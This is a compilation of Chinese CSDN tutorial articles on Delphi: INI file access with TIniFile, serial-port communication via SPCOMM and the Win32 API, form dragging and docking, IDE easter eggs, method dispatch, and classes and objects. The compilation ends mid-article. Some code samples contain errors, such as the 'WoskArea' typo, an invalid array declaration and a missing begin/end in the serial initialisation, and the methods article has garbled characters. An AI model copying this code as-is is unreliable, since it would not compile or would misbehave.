⒉ 在IniUnit单元的interface部分用uses inifiles;说明要引用的TiniFile类所定义的单元名。并在变量说明部分定义TiniFile类的对象，如

var IniFile: TiniFile;

⒊ 建立窗体的OnCreate事件过程。使用TIniFile类的Create成员函数创建TIniFile对象，用该对象读写d:\ucdos目录中的rdfnt.ini初始化文件，并将该初始化文件中的所有节点通过ReadSections() 成员函数读入SectionComboBox组合式列表框中，用ReadSection()成员函数将第一个节点中的所有关键字读入IdentComboBox 组合式列表框，用ReadString()成员函数将第一个关键字的值送入IdentValueEdit输入框。

⒋ 建立SectionComboBox组合式列表框的OnChange事件过程。当该选择列表框中的不同项目（即不同的节点名）时，用ReadSection()成员函数将选节点中的所有关键字读入IdentComboBox 组合式列表框，并用ReadString()成员函数将第一个关键字的值送入IdentValueEdit输入框。

⒌ 建立IdentComboBox组合式列表框的OnChange事件过程。当该选择列表框中的不同项目（即不同的关键字名）时，用ReadString()成员函数将该关键字的值送入IdentValueEdit输入框。

⒍ 建立命令钮CmdChang的OnClick事件过程。使IdentValueEdit输入框中的内容可以修改（不按该命令钮，IdentValueEdit输入框是不能修改的），并设置命令钮CmdSave有效，可以将修改后的关键字值存入关联的初始化文件中。

⒎ 建立命令钮CmdSave的OnClick事件过程。如果关键字值已改变，则调用WriteString()成员函数将修改后的关键字的值存盘。

⒏ 建立窗体的OnDestroy事件过程。当窗体失效时，将建立的TIniFile对象释放，以释放该对象所战用的系统资源。

至此，运行该工程，初始化文件的读写已能顺利进行。当然还可以使用EraseSection()成员函数删除指定的节，也可用DeleteKey()成员函数删除指定的关键字，因篇幅有限，这里就不详细介绍了，有兴趣的可参考Delphi的使用帮助。

下面是该单元的源程序代码：

unit IniUnit;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

StdCtrls, inifiles;

type

TIniForm = class(TForm)

SectionComboBox: TComboBox;

Label1: TLabel;

CmdSave: TButton;

CmdChang: TButton;

IdentComboBox: TComboBox;

IdentValueEdit: TEdit;

Label2: TLabel;

Label3: TLabel;

procedure FormCreate(Sender: TObject);

procedure SectionComboBoxChange(Sender: TObject);

procedure FormDestroy(Sender: TObject);

procedure CmdChangClick(Sender: TObject);

procedure CmdSaveClick(Sender: TObject);

procedure IdentComboBoxChange(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

end;

var

IniForm: TIniForm;

{ Delphi中通过TIniFile类读写Windows的初始化文件 }

IniFile: TIniFile;

implementation

{$R *.DFM}

procedure TIniForm.FormCreate(Sender: TObject);

begin

{ 使用TIniFile类的Create成员函数建立TIniFile对

象，该对象用来读写d:\ucdos目录中的rdfnt.ini文件，

如果读写的文件在Windows的目录里（如system.ini），

则可以直接写文件名而不必指定路径 }

IniFile:=TIniFile.Create('d:\ucdos\rdfnt.ini');

{ 将TIniFile对象关联的初始化文件system.ini中的所

有节（即用[]括号括起的那部分）的节名送入下拉式组

合列表框SectionComboBox中 }

SectionComboBox.Clear;

IniFile.ReadSections(SectionComboBox.Items);

{ 选择system.ini文件的第一个节名 }

SectionComboBox.ItemIndex:=0;

SectionComboBoxChange(Sender);

CmdSave.Enabled:=False;

end;

{ 将组合列表框IniComboBox中所选择节中对应的各个

变量及对应的值送入多行文本编辑器IniMemo中 }

procedure TIniForm.SectionComboBoxChange(Sender: TObject);

begin

IdentComboBox.Clear;

IniFile.ReadSection(SectionComboBox.Text,

IdentComboBox.Items);

IdentComboBox.ItemIndex:=0;

IdentComboBoxChange(Sender);

end;

procedure TIniForm.IdentComboBoxChange(Sender: TObject);

begin

IdentValueEdit.Enabled:=False;

{ 将选择的关键字值读入 }

IdentValueEdit.Text:=

IniFile.ReadString(SectionComboBox.Text,

IdentComboBox.Text,'');

end;

procedure TIniForm.CmdChangClick(Sender: TObject);

begin

CmdSave.Enabled:=True;

IdentValueEdit.Enabled:=True;

IdentValueEdit.SetFocus;

end;

procedure TIniForm.CmdSaveClick(Sender: TObject);

begin

if IdentValueEdit.Modified then begin

IniFile.WriteString(SectionComboBox.Text,

IdentComboBox.Text,

IdentValueEdit.Text);

end;

IdentValueEdit.Enabled:=False;

CmdSave.Enabled:=False;

end;

procedure TIniForm.FormDestroy(Sender: TObject);

begin

IniFile.Free; { 释放创建的对象 }

end;

end.

以上方法在Windows 95下用Delphi 3.0调试通过。


CSDN_文档中心_Delphi中串口通信的实现

Delphi是一种具有功能强大、简便易用和代码执行速度快等优点的可视化快速应用开发工具，它在构架企业信息系统方面发挥着越来越重要的作用，许多程序员愿意选择 Delphi作为开发工具编制各种应用程序。但是，美中不足之处是 Delphi没有自带的串口通信控件，在它的帮助文档里也没有提及串口通信，这就给编制通信程序的开发人员带来许多不便。
目前，利用 Delphi实现串口通信的常用的方法有 3种：一是利用控件，如 MSCOMM控件和 SPCOMM控件；二是使用 API函数；三是调用其他串口通信程序。其中利用 API编写串口通信程序较为复杂，需要掌握大量的通信知识。相比较而言，利用 SPCOMM控件则相对较简单，并且该控件具有丰富的与串口通信密切相关的属性及事件，提供了对串口的各种操作，而且还支持多线程。下面本文结合实例详细介绍 SPCOMM控件的使用。
SPCOMM的安装
1．选择下拉菜单 Component中的 Install Component选项，弹出如图 1所示的窗口。
图 1
在 Unit file name处填写 SPCOMM控件所在的路径，其他各项可用默认值，点击 OK按钮。
2．安装后，在 System控件面板中将出现一个红色控件 COM。现在就可以像 Delphi自带控件一样使用 COM控件了。
SPCOMM的属性、方法和事件
1.属性
●CommName：表示 COM1、 COM2等串口的名字；
●BaudRate:根据实际需要设定的波特率，在串口打开后也可更改此值，实际波特率随之更改；
●ParityCheck：表示是否需要奇偶校验；
●ByteSize：根据实际情况设定的字节长度；
●Parity：奇偶校验位；
●StopBits：停止位；
●SendDataEmpty：这是一个布尔型属性，为 true时表示发送缓存为空，或者发送队列里没有信息；为 false时表示发送缓存不为空，或者发送队列里有信息。
2．方法
●Startcomm方法用于打开串口，当打开失败时通常会报错。错误主要有 7种：⑴串口已经打开；⑵打开串口错误；⑶文件句柄不是通信句柄；⑷不能够安装通信缓存；⑸不能产生事件；⑹不能产生读进程；⑺不能产生写进程；
●StopComm方法用于关闭串口，没有返回值；
●WriteCommData(pDataToWrite: PChar;dwSizeofDataToWrite:Word )方法是个带有布尔型返回值的函数，用于将一个字符串发送到写进程，发送成功返回 true，发送失败返回 false。执行此函数将立即得到返回值，发送操作随后执行。该函数有两个参数，其中 pDataToWrite是要发送的字符串， dwSizeofDataToWrite是发送字符串的长度。
3．事件
●OnReceiveData :procedure (Sender: TObject;Buffer: Pointer;BufferLength: Word) of object
当有数据输入缓存时将触发该事件，在这里可以对从串口收到的数据进行处理。 Buffer中是收到的数据， BufferLength是收到的数据长度。
●OnReceiveError : procedure(Sender: TObject; EventMask : DWORD)
当接收数据出现错误时将触发该事件。
SPCOMM的使用
下面是一个利用 SPCOMM控件的串口通信的例子。
以实现 PC机与单片机 8051之间的通信为例，首先要调通它们之间的握手信号。假定它们之间的通信协议是： PC到 8051一帧数据 6个字节， 8051到 PC一帧数据也为 6个字节。当 PC发出（ F0,01,FF,FF,01,F0）后 8051能收到一帧（ F0,01,FF,FF,01,F0），表示数据通信握手成功，两者之间就可以按照协议相互传输数据。
创建一个新的工程 COMM.DPR，把窗体的 NAME属性定为 FCOMM，把窗体的标题定义为测试通信，按照图 2添加控件 (图 2中黑色矩形围住的控件即为 COMM1)。
图 2
1.设定 COMM1属性：
●波特率： 4800；
●奇偶校验位：无；
●字节长度： 8；
●停止位： 1；
●串口： COM1。
Memo1中将显示发送和接收的数据。将新的窗体存储为 Comm.pas。
2.编写源代码
//变量说明
var
fcomm: TFCOMM;
viewstring:string;
i:integer;
rbuf,sbuf:array[16] of byte;
//打开串口
procedure TFCOMM.FormShow(Sender: TObject);
begin
comm1.StartComm;
end;
//关闭串口
procedure TFCOMM.FormClose(Sender: TObject; var Action: TCloseAction);
begin
comm1.StopComm;
end;
//自定义发送数据过程
procedure senddata;
var
i:integer;
commflg:boolean;
begin
viewstring:=‘’ ;
commflg:=true;
for i:=1 to 6 do
begin
if not fcomm.comm1.writecommdata(@sbuf[i],1) then
begin
commflg:=false;
break;
end;
//发送时字节间的延时
sleep(2);
viewstring:=viewstring＋ inttohex(sbuf[i],2)＋‘’ ; end;
viewstring:=‘发送’＋ viewstring;
fcomm.memo1.lines.add(viewstring);
fcomm.memo1.lines.add(‘’ );
if not commflg then messagedlg(‘发送失败 !’ ,mterror,[mbyes],0);
end;
//发送按钮的点击事件
procedure TFCOMM.Btn_sendClick(Sender: TObject);
begin
sbuf[1]:=byte(＄ f0); //帧头
sbuf[2]:=byte(＄ 01); //命令号
sbuf[3]:=byte(＄ ff);
sbuf[4]:=byte(＄ ff);
sbuf[5]:=byte(＄ 01);
sbuf[6]:=byte(＄ f0); //帧尾
senddata;//调用发送函数
end;
//接收过程
procedure TFCOMM.Comm1ReceiveData(Sender: TObject; Buffer: Pointer;BufferLength: Word);
var
i:integer;
begin
viewstring:=‘’ ;
move(buffer^,pchar(@rbuf^),bufferlength);
for i:=1 to bufferlength do
viewstring:=viewstring＋ inttohex(rbuf[i],2)＋‘’ ;
viewstring:=‘接收’＋ viewstring;
memo1.lines.add(viewstring);
memo1.lines.add(‘’ );
end;
如果 memo1上显示发送 F0 01 FF FF 01 F0和接收到 F0 01 FF FF 01 F0，这表示串口已正确地发送出数据并正确地接收到数据，则串口通信成功。


CSDN_文档中心_Delphi中串行通信的实现 作者：阮帮秋

Delphi中串行通信的实现　作者：阮帮秋　发布时间：2001/04/19
文章摘要:
    本文就是介绍基于Windows95/NT操作系统用Delphi来实现PC机与下层PLC控制器之间的串口通信方法。
    关键词　串行通信，Delphi，多线程
正文:

Delphi中串行通信的实现

    随着现代信息技术的发展以及计算机网络的广泛使用，计算机通信技术已经日臻成熟，但串行通信作为一种灵活方 便可靠的通信方式，仍不失为有效的通信手段，被广泛应用于工业控制中。在工业生产实践中，用PC机对工程实现实时 监控，通常要求PC机能在用户界面上具有数据采集、数据处理以及控制信号的产生与传输等功能。在这种特定的环境下，PC机要与过程控制的实时信号相联系，就要求能实现对PC机的串行端口直接操作。Borland公司推出的Delphi是一种功能强大的高级编程语言，其具有的可视化面向对象的特性，特别适于在Windows环境下图形界面和用户程序的编制。

基于WIN95/NT的串行通信机制

    Windows操作系统的机制禁止应用程序直接访问计算机硬件，但它为程序员提供了一系列的标准API函数，使得应用程序的编制更加方便并且免除了对有关硬件的调试麻烦。在Windows95/NT中，原来Windows3.X的WM_COMMNOTIFY消息 已被取消，操作系统为每个通信设备开辟了用户可定义大小的读/写缓冲区，数据进出通信口均由操作系统后台完成，应用程序只需对读/写缓冲区操作即可。WIN95/NT中几个常用的串行通信操作函数如下：

CreatFile打开串行口
CloseHandle关闭串行口
SetupComm设置通信缓冲区的大小
ReadFile读串口操作
WriteFile写串口操作
SetCommState设置通信参数
GetCommState获取默认通信参数
ClearCommError清除串口错误并获取当前状态

    除上述几个函数外，还要经常用到一个重要的记录DCB（设备控制块）。DCB中记录有可定义的串行口参数，设置串行口参数时必须先用GetCommState函数将系统默认值填入DCB控制块，然后才可把用户想改变的自定义值设定。

    在WIN95/NT中进行串行通信除了解基本的通信操作函数外，还要掌握多线程编程。线程是进程内部执行的路径，是操作系统分配CPU时间的基本实体。每个进程都由单线程开始完成应用程序的执行。串行通信需要利用多线程技术实 现，其主要的处理逻辑可以表述如下：进程一开始先由主线程做一些必要的初始化工作，然后主线程根据需要在适当时候建立通信监视线程监视通信口，当指定的串行口事件发生时，向主线程发送WM_COMMNOTIFY消息(由于WIN95取消了WM_COMMNOTIFY消息，因此必须自己创建），主线程对其进行处理。若不需要WM_COMMNOTIFY消息，则主线程终止通信监视线程。

    多线程同时执行，将会引起对共享资源的冲突。为避免冲突，就要用同步多线程对共享资源进行访问。WIN95提供 许多保持线程同步的方法，笔者采用创建事件对象来保持线程同步。通过CraeteEvent（）创建事件对象，使用etEvent（）或PulseEvent（）函数将事件对象设置成信号同步。在应用程序中，利用WaitSingleObject（）函数等待同步的触发，等到指定的事件被其它线程设置为有信号时，才继续向下执行程序。

Delphi下的具体实现方法

    Delphi的强大功能和支持多线程的面向对象编程技术，使得实现串行通信非常简单方便。它通过调用外部的API函数来实现，主要步骤如下：首先，利用CreateFile函数打开串行口，以确定本应用程序对此串行口的占有权，并封锁其它应用程序对此串口的操作；其次，通过GetCommState函数填充设备控制块DCB，再通过调用SetCommState函数配置串行口的波特率、数据位、校验位和停止位。然后，创建串行口监视线程监视串行口事件。在此基础上就可以在相应的串口上操作数据的传输；最后，用CloseHandle函数关闭串行口。具体的程序如下，本程序用Delphi3.0编制在Win95 环境下调试通过，已投入实际应用中，供广大读者参考。

程序：
unit comdemou;
interface
uses
    Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs;

const
        Wm_commNotify=Wm_User+12;
type
    TForm1 = class(TForm)
        procedure FormCreate(Sender: TObject);
    private
        Procedure comminitialize;
        Procedure MsgcommProcess(Var Message:Tmessage); Message Wm_commnotify;
        { Private declarations }
    public
        { Public declarations }
    end;

    //线程声明
    TComm=Class(TThread)
    protected
        procedure Execute;override;
    end;

var
    Form1: TForm1;
    hcom,Post_Event:Thandle;
    lpol:Poverlapped;
implementation

{$R *.DFM}

Procedure TComm.Execute; //线程执行过程
var
dwEvtMask:Dword;
Wait:Boolean;
Begin
fillchar(lpol,sizeof(toverlapped),0);
While True do Begin
    dwEvtMask:=0;
    Wait:=WaitCommEvent(hcom,dwevtmask,lpol); //等待串行口事件；
    if Wait Then Begin
        waitforsingleobject(post_event,infinite); //等待同步事件置位；
        resetevent(post_event); //同步事件复位；
        PostMessage(Form1.Handle,WM_COMMNOTIFY,0,0);//发送消息；
        end;
    end;
end;

procedure Tform1.comminitialize; //串行口初始化
var
lpdcb:Tdcb;
Begin
hcom:=createfile('com2',generic_read or generic_write,0,nil,open_existing,
                        file_attribute_normal or file_flag_overlapped,0);//打开串行口
    if hcom=invalid_handle_value then
    else
        setupcomm(hcom,4096,4096); //设置输入，输出缓冲区皆为4096字节
        getcommstate(hcom,lpdcb); //获取串行口当前默认设置
        lpdcb.baudrate:=2400;
        lpdcb.StopBits:=1;
        lpdcb.ByteSize:=8;
        lpdcb.Parity:=EvenParity; //偶校验
        Setcommstate(hcom,lpdcb);
        setcommMask(hcom,ev_rxchar);
        //指定串行口事件为接收到字符；
end;

Procedure TForm1.MsgcommProcess(Var Message:Tmessage);
var
Clear:Boolean;
Coms:Tcomstat;
cbNum,ReadNumber,lpErrors:Integer;
Read_Buffer:array[1..100]of char;
Begin
Clear:=Clearcommerror(hcom,lpErrors,@Coms);
if Clear Then Begin
    cbNum:=Coms.cbInQue;
    ReadFile(hCom,Read_Buffer,cbNum,ReadNumber,lpol);
    //处理接收数据
    SetEvent(Post_Event); //同步事件置位
    end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
comminitialize;
post_event:=CreateEvent(nil,true,true,nil); //创建同步事件；
Tcomm.Create(False); //创建串行口监视线程；
end;

end.

作者会员名：ruan_bangqiu


CSDN_文档中心_Delphi中的窗体移动

如果你在开发图形或多媒体应用程序，你可能正在为如何不使用窗体的标题栏而移动窗体发愁。其实只需用鼠标拖动窗体的客户区就可以了。

方法一
    以下是完成上述功能最普通的方法：在窗体的private声明部分加入以下过程声明：

    procedure WMNCHitTest(var Msg:TWMNCHitTest);message WM_NCHITTEST;

    然后在implementation部分加入以下代码：

procedure TForm1{或你定义的Form名}.WMNCHitTest(var Msg:TWMNCHitTest);
begin
DefaultHandler(Msg);
if Msg.Result = HTCLIENT then
Msg.Result:= HTCAPTION;
end;

    此方法中使当鼠标点击窗体客户区时，令Windows认为被点击的是标题栏。

方法二
    以下是另一个实现用鼠标移动普通窗体的方法。

procedure TForm1.FormMouseMove(Sender: TObject; Shift: TShiftState; X, Y: Integer);
begin
if (ssLeft in Shift) then begin
ReleaseCapture;
SendMessage(Form1.Handle,WM_SYSCOMMAND,SC_MOVE+1,0);
end;
end;

以上方法不完善之处
    当把“拖动窗口的过程中显示其内容”的选项取消时，让我们看看会发生什么。这是Windows窗口的一项设置，你可以在“开始菜单-->设置-->文件夹选项-->查看-->高级设置”中找到该属性。在Windows95中，你需要修改注册表。当此属性被设为无效，拖动窗体时窗体会变为一个正方形轮廓线。也许你使用一个不规则窗体，但它仍然会显示轮廓线。
    当你想要让你的窗体停靠在屏幕的边缘（如：WinAmp，当你拖动窗体进入屏幕顶部某一特定位置时，窗体便紧靠在屏幕顶部），如果你使用以上第二种方法，在鼠标按钮放开前，你将无法处理窗体位置，并无法处理停靠问题。
    下面我会用简单的方法解决两个问题：
    第一，无论设置为何，在拖动窗体时都不显示轮廓线；
    第二，移动窗体时进行位置检测，并在位置适当时停靠在某一特定位置。
    很多人也许已经解决了这些问题，但是也许下面的代码对你会有帮助。

方法三
    以下代码可以直接复制到Delphi中，前提是你将Form1存为uMain.pas，Form2存为uDock.pas。用到的事件是：OnMouseDown，OnMouseMove，OnMouseUp，OnShow（Form1）。
    这是一个根据鼠标的移动移动窗体的方法，包含两个窗体，uMain和uDock（Form1和Form2）。Form2通过Form1打开，并可以停靠在Form1的底部。停靠后，Form2将随Form1一起移动，直到你将Form2移开。

Form1

unit uMain;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs;

type
TForm1 = class(TForm)
procedure FormMouseDown(Sender:TObject; Button:TMouseButton;Shift:TShiftState;X,Y: Integer);
procedure FormMouseMove(Sender: TObject; Shift: TShiftState;X,Y: Integer);
procedure FormMouseUp(Sender:TObject;Button:TMouseButton;Shift:TShiftState;X,Y: Integer);
procedure FormShow(Sender: TObject);
private
{ Private declarations }
public
DocktoForm: Boolean;
{ Public declarations }
end;

var
Form1: TForm1;
CanMove, CanMoveX, CanMoveY: Boolean;
OldX, OldY: Integer;
F1X,F1Y,F2X,F2Y: integer;
WorkArea : TRect;

implementation

uses uDock;

{$R *.DFM}

procedure TForm1.FormMouseDown(Sender: TObject; Button: TMouseButton;Shift: TShiftState; X, Y: Integer);
begin
CanMoveX := true;
CanMoveY := true;
CanMove := true;
OldX := X;
OldY := Y;

if DocktoForm then
begin
F1X := Form1.Left;
F1Y := Form1.Top;
F2X := Form2.Left;
F2Y := Form2.Top;
end;

end;

procedure TForm1.FormMouseMove(Sender: TObject; Shift: TShiftState; X, Y: Integer);
begin
if (CanMove) then
begin
if CanMoveX then
Form1.Left := Form1.Left + (X - OldX);

if CanMoveY then
Form1.Top := Form1.Top + (Y - OldY);

//This section latches to the top
if (Form1.Top < WorkArea.Top + 10) and (Form1.Top > WorkArea.Top-10) then
begin
Form1.Top := WorkArea.Top;
if (Y-OldY > 10) or (Y-OldY < -10) then
CanMoveY := true
else
CanMoveY := False;
end;

//This section latches to the left side
if (Form1.Left < WorkArea.Left+10) and (Form1.Left > WoskArea.Left-10) then
begin
Form1.Left := WorkArea.Left;

if (X-OldX > 10) or (X-OldX < -10) then
CanMoveX := true
else
CanMoveX := False;
end;

//This section latches to the right side
if (Form1.Left > WorkArea.Right-Form1.Width-10) and (Form1.Left < WorkArea.Right-Form1.Width+10) then
begin

Form1.Left := WorkArea.Right-Form1.Width;

if (X-OldX > 10) or (X-OldX < -10) then
CanMoveX := true
else
CanMoveX := False;
end;

//This section latches to the TaskBar
if DocktoForm then
begin
if (Form1.Top > WorkArea.Bottom-Form1.Height-Form2.Height-10) and (Form1.Top < WorkArea.Bottom-Form1.Height-Form2.Height+10) then
begin
Form1.Top := WorkArea.Bottom-Form1.Height-Form2.Height;
if (Y-OldY > 10) or (Y-OldY < -10) then
CanMoveY := true
else
CanMoveY := False;
end;
end
else begin
if (Form1.Top > WorkArea.Bottom-Form1.Height-10) and (Form1.Top < WorkArea.Bottom-Form1.Height+10) then
begin
Form1.Top := WorkArea.Bottom-Form1.Height;
if (Y-OldY > 10) or (Y-OldY < -10) then
CanMoveY := true
else
CanMoveY := False;
end;
end;

if DocktoForm then
begin
Form2.Left := Form1.Left - (F1X-F2X);// + (X-OldX);
Form2.Top := Form1.Top+Form1.Height;
exit;
end;

//This section latches playlist in center of Form1
if (Form2.Left > Form1.Left + ((Form1.Width div 2)-(Form2.Width div 2))-10) and (Form2.Left < Form1.Left + ((Form1.Width div 2)-(Form2.Width div 2))+10) and
(Form2.Top > Form1.Top+Form1.Height-10) and (Form2.Top < Form1.Top+Form1.Height+10) then
begin
Form2.Left := Form1.Left + ((Form1.Width div 2)-(Form2.Width div 2));
DocktoForm := True;
F1X := Form1.Left;
F1Y := Form1.Top;
F2X := Form2.Left;
F2Y := Form2.Top;
end;

end;
end;

procedure TForm1.FormMouseUp(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer);
begin
CanMove := false;
end;

procedure TForm1.FormShow(Sender: TObject);
begin
//Get Work Area Parameters
SystemParametersInfo(SPI_GETWORKAREA, 0, @WorkArea, 0 );
Form2.Show;
end;

end.

Form2

unit uDock;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs;

type
TForm2 = class(TForm)
procedure FormMouseDown(Sender: TObject; Button: TMouseButton;Shift: TShiftState; X, Y: Integer);
procedure FormMouseMove(Sender: TObject; Shift: TShiftState; X,Y: Integer);
procedure FormMouseUp(Sender: TObject; Button: TMouseButton;Shift: TShiftState; X, Y: Integer);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form2: TForm2;
CanMove, CanMoveX, CanMoveY, DocktoForm: Boolean;
OldX, OldY: Integer;

implementation

uses uMain;

{$R *.DFM}

procedure TForm2.FormMouseDown(Sender: TObject; Button: TMouseButton;Shift: TShiftState; X, Y: Integer);
begin
CanMoveX := true;
CanMoveY := true;
CanMove := true;
OldX := X;
OldY := Y;
end;

procedure TForm2.FormMouseMove(Sender: TObject; Shift: TShiftState; X, Y: Integer);
begin
if (CanMove) then
begin

if CanMoveX then
Form2.Left := Form2.Left + (X - OldX);
if CanMoveY then
Form2.Top := Form2.Top + (Y - OldY);

//This section latches to the top
if (Form2.Top < WorkArea.Top + 10) and (Form2.Top > WorkArea.Top-10) then
begin
Form2.Top := WorkArea.Top;
if (Y-OldY > 10) or (Y-OldY < -10) then
CanMoveY := true
else
CanMoveY := False;
end;

//This section latches to the left side
if (Form2.Left < WorkArea.Left+10) and (Form2.Left > WorkArea.Left-10) then
begin
Form2.Left := WorkArea.Left;

if (X-OldX > 10) or (X-OldX < -10) then
CanMoveX := true
else
CanMoveX := False;
end;

//This section latches to the right side
if (Form2.Left > WorkArea.Right-Form2.Width-10) and (Form2.Left < WorkArea.Right-Form2.Width+10) then
begin

Form2.Left := WorkArea.Right-Form2.Width;

if (X-OldX > 10) or (X-OldX < -10) then
CanMoveX := true
else
CanMoveX := False;
end;

//This section latches to the TaskBar
if (Form2.Top > WorkArea.Bottom-Form2.Height-10) and (Form2.Top < WorkArea.Bottom-Form2.Height+10) then
begin
Form2.Top := WorkArea.Bottom-Form2.Height;
if (Y-OldY > 10) or (Y-OldY < -10) then
CanMoveY := true
else
CanMoveY := False;
exit;
end;

//This section latches to the Player Bottom
if (Form2.Top > Form1.Top+Form1.Height-10) and (Form2.Top < Form1.Top+Form1.Height+10) and (Form2.Left > Form1.Left-Form2.Width) and (Form2.Left < Form1.Left + Form1.Width) then
begin
Form2.Top := Form1.Top+Form1.Height;
if (Y-OldY > 10) or (Y-OldY < -10) then begin
CanMoveY := true;
Form1.DockToForm := False;
end
else begin
CanMoveY := False;
Form1.DockToForm := True;
end;
end;

//This section latches playlist in center of Form1
if (Form2.Left > Form1.Left + ((Form1.Width div 2)-(Form2.Width div 2))-10) and (Form2.Left < Form1.Left + ((Form1.Width div 2)-(Form2.Width div 2))+10) and
(Form2.Top > Form1.Top+Form1.Height-10) and (Form2.Top < Form1.Top+Form1.Height+10) then
begin

Form2.Left := Form1.Left + ((Form1.Width div 2)-(Form2.Width div 2));

if (X-OldX > 10) or (X-OldX < -10) or (Y-OldY > 10) or (Y-OldY < -10) then
CanMoveX := true
else
CanMoveX := False;
end;

end;
end;

procedure TForm2.FormMouseUp(Sender: TObject; Button: TMouseButton;Shift: TShiftState; X, Y: Integer);
begin
CanMove := false;
end;

end.

    我希望以上内容对那些正面临类似内容困扰的人有所帮助。


CSDN_文档中心_Delphi中的复活彩蛋 - Easter Eggs

Delphi中的复活彩蛋 - Easter Eggs
==============================
lyboy99
e-mail:lyboy99@sina.com
Bad Boy Studio
http://hnh.126.com
==============================

请和你的朋友或程序开发人员一起分享这些内容
当使用Delphi编程时,你可以做一些小的有趣的事情来娱乐一下，
Delphi开发小组为其增加了“复活彩蛋 - Easter Eggs "
什么是复活彩蛋？
复活彩蛋是一些小的惊喜程序添加在应用软件中来逗用户娱乐。
这些复活彩蛋有隐蔽特性，只有通过热键或某些行为来运行它。

Delphi有许多美妙的复活彩蛋。运行复活彩蛋方法，在Delphi IDE 中选择Help/About打开About对话框
按住ALT键键入以下单词来开始那些特殊的复活彩蛋。

QUALITY - 将展示Delphi QA 工作人员。
UERSION - 将展示Delphi 版本号
TEAM - 展示负责产品的清单
DEVELOPERS - 展示R&D清单
CHUCK - 一个小的惊喜(只能工作在Delphi4)
JEDI - 一个小的惊喜(只能工作在Delphi5)

如果你想自己为Delphi添加复活彩蛋，那么你可以读Michael Burton "Implementing an Easter Egg"这篇有趣的文章。


CSDN_文档中心_DELPHI中的静态虚拟及动态方法函数的区别。

1、静态方法是方法的缺省类型，对它就像对通常的过程和函数那样调用，编译器知道这些方法的地址，所以调用一个静态方法时它能把运行信息静态地链接进可执行文件，所以，静态方法速度最快，但它们却不能被覆盖来支持多态性。

2、虚拟方法和静态方法的调用方式相同。由于虚拟方法能被覆盖，在代码中调用一个指定的虚拟方法时编译器并不知道它的地址，因此，编译器通过建立虚拟方法表（VMT)来查找在运行时的函数地址。所有的虚拟方法在运行时通过VMT来高度，一个对象的VMT表中除了自己定义的虚拟方法外，还有它的祚的所有的虚拟方法，因此虚拟方法比动态方法用的内存要多，但它执行得比较快。

3、动态方法跟虚拟方法基本相似，只是它们的高度系统不同。编译器为每一个动态方法指定一个独一无二的数字，用这个数字和动态方法的地址构造一个动态方法表（DMT）。不像VMT表，在DMT表中仅有它声明的动态方法，并且这个方法需要祖先的DMT表来访问它蓁的动态方法。正因为这样动态方法比虚拟方法用的内存要少，但执行起来罗慢，因为有可能要到祚对象的DMT中查找动态法。

4、OP通过覆盖使一方法在不同的派生类间表现出不同的行为。OP中能被覆盖的方法是在声明时被标识为virtual或dynamic的方法。为了覆盖一个方法，在派生类的声明中用override代替virtual或dynamic。用了override后，编译器就会用新的方法替换VMT中原先的方法，而原先的方法也还存在，而如果用override再次声明一个静态方法，则是真正的覆盖，是用新的方法完全替换在祖先类中的同明方法。


CSDN_文档中心_Delphi中的类和对象

谈谈Delphi中的类和对象
1.登不了大雅之堂地理解几个概念
说到类和对象，我们不能不提及这样几个概念：类，对象，实例。就我个人觉得可
以这样来理解：对象指的是泛称，自然界的任何实体都可以看成一个对象；而类则是
以这些对象某些特征而分成的一系列的种类；实例则是特指属于某一个类的一个对象。
好啦，这些大道理我就不用多说了。不如来一个“背道而驰”的作法，我们用Delphi
code 来阐述这些外国人提出的一些令我们中国人不好理解的概念吧：
var
ABtn:TButton;
定义ABtn是属于TButton类的一个对象，但ABtn不能说是一个实例，因为它还没有
被创建，所以我们说这是定义了一个对象，如果说定义了一个实例，多多少少有
一些不够确切。:)
begin
ABtn:=TButton.Create(Self);//创建一个TButton的实例
ABtn.Caption:='对象';
ABtn.Free;
end;

2.对象是一个地地道道的指针
从物理角度来看，对象就是一段地址空间，这段地址空间的标志就是我们定义的
类“变量”。所以我们可以把对象看成一个类的指针。大家知道，要访问一个指针就
必须对指针初始化。对象的既然是一个指针，也必须对它进行初始化。如何初始化呢？
还是说指针的初始化吧。对于一个指针可以有以下两种方法来进行初始化：
(一)直接分配
var
Pint:^Integer;
begin
new(Pint);
Pint^:=12;
Dispose(Pint);
end;
(二)指向别的已分配空间的变量
var
Pint:^Integer;
i:integer;
begin
i:=12;
Pint:=@i;
end;
有趣的是，对象这种“指针”也有两种方法初始化
(一)直接分配
var
AForm:TForm;
begin
AForm:=TForm.Create(Self);
AForm.ShowModal;
AForm.Free;
end;
(二)指向别的已分配空间的实例
var
AForm:TForm;
begin
AForm:=Self;
AForm.Caption:='知道了吗？为什么会这样呢';
end;
file://这个AForm和它所指向的Form实例共用同一段地址单元，所有对AForm操作都将反应
file://到它所对应的Form实例之上。
说到这，我们就很好解释为什么过程(函数)的对象参数传递时，象这样这的格式:
(一)procedure SetEdit(var Edit:TEdit);
begin
Edit.Text:='11';
end;
和
(二)procedure SetEdit(Edit:TEdit);
begin
Edit.Text:='11';
end;
效果是一样的了。(一)是把一个TEdit实体作为参数引用的形式进行参数传递，(二)是
把一个TEdit的对象“指针”作为参数传递。

3.类可以理解成一种特殊的数据类型
我们知道数据类型可以进行强制类型转化，类即然可以理解成一种数据类型，那
么它也应该可以进行类类型转。比方如下代码为一个按钮(Button1)的单击事件：
(一)
procedure TForm1.Button1Click(Sender: TObject);
var
ACaption:String;
begin
ACaption:=TButton(Sender).Caption;//Sender从TObject转化到TButton
ShowMessage(Format('You clicked ''%s'' !',[ACaption]));
end;
在这段代码中，Sender是一个TObject型对象，我们把它强制转化为TButton类型。如你
看得不清楚，可以参照一下我们通常的数据类型的转化：
(二)
procedure TForm1.Button1Click(Sender: TObject);
var
S_Str:String;
P_Str:PChar;
begin
S_Str:='I love China!';
P_Str:=PChar(S_Str);
S_Str:='';
S_Str:=String(P_Str);
ShowMessage(S_Str);
end;
但是在面对对象的程序设计过程中，强调的是安全性，如(一)的强制类型转化存在着不
安全性。如下的代码，依然是写Button1.OnClick事件：
(三)
